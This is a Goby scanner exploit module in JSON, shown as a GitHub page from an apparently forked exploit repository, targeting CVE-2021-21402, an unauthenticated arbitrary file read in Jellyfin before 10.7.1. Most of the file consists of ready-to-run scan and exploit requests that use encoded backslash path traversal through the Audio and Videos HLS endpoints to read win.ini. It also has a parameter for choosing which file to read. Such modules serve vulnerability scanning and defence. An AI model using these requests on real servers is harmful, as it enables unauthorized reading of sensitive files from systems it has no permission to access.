forked from k3vi-07/goby-exp
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathJellyfin_10.7.0_Unauthenticated_Abritrary_File_Read_CVE_2021_21402.json
158 lines (158 loc) · 6.51 KB
/
Jellyfin_10.7.0_Unauthenticated_Abritrary_File_Read_CVE_2021_21402.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
{
"Name": "Jellyfin 10.7.0 Unauthenticated Abritrary File Read CVE-2021-21402",
"Level": "2",
"Tags": [
"Disclosure of Sensitive Information"
],
"GobyQuery": "(title='Jellyfin')",
"Description": "Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.",
"Product": "Jellyfin",
"Homepage": "https://jellyfin.org/",
"Author": "PeiQi",
"Impact": "<p>Attackers can read arbitrary files to obtain sensitive information of the server<br></p>",
"Recommandation": "<p>undefined</p>",
"References": [
"http://wiki.peiqi.tech"
],
"HasExp": true,
"ExpParams": [
{
"name": "File",
"type": "select",
"value": "windows/win.ini",
"show": ""
}
],
"ScanSteps": [
"OR",
{
"Request": {
"method": "GET",
"uri": "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/",
"follow_redirect": false,
"header": {
"Content-Type": "application/octet-stream"
},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "font",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "file",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "extension",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "GET",
"uri": "/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/",
"follow_redirect": false,
"header": {
"Content-Type": "application/octet-stream"
},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "font",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "extension",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "file",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"OR",
{
"Request": {
"method": "GET",
"uri": "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/",
"follow_redirect": false,
"header": {
"Content-Type": "application/octet-stream"
},
"data_type": "text",
"data": ""
},
"SetVariable": [
"output|lastbody"
]
},
{
"Request": {
"method": "GET",
"uri": "/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/",
"follow_redirect": false,
"header": {
"Content-Type": "application/octet-stream"
},
"data_type": "text",
"data": ""
},
"SetVariable": [
"output|lastbody"
]
}
],
"PostTime": "2021-04-07 21:05:13",
"GobyVersion": "1.8.255"
}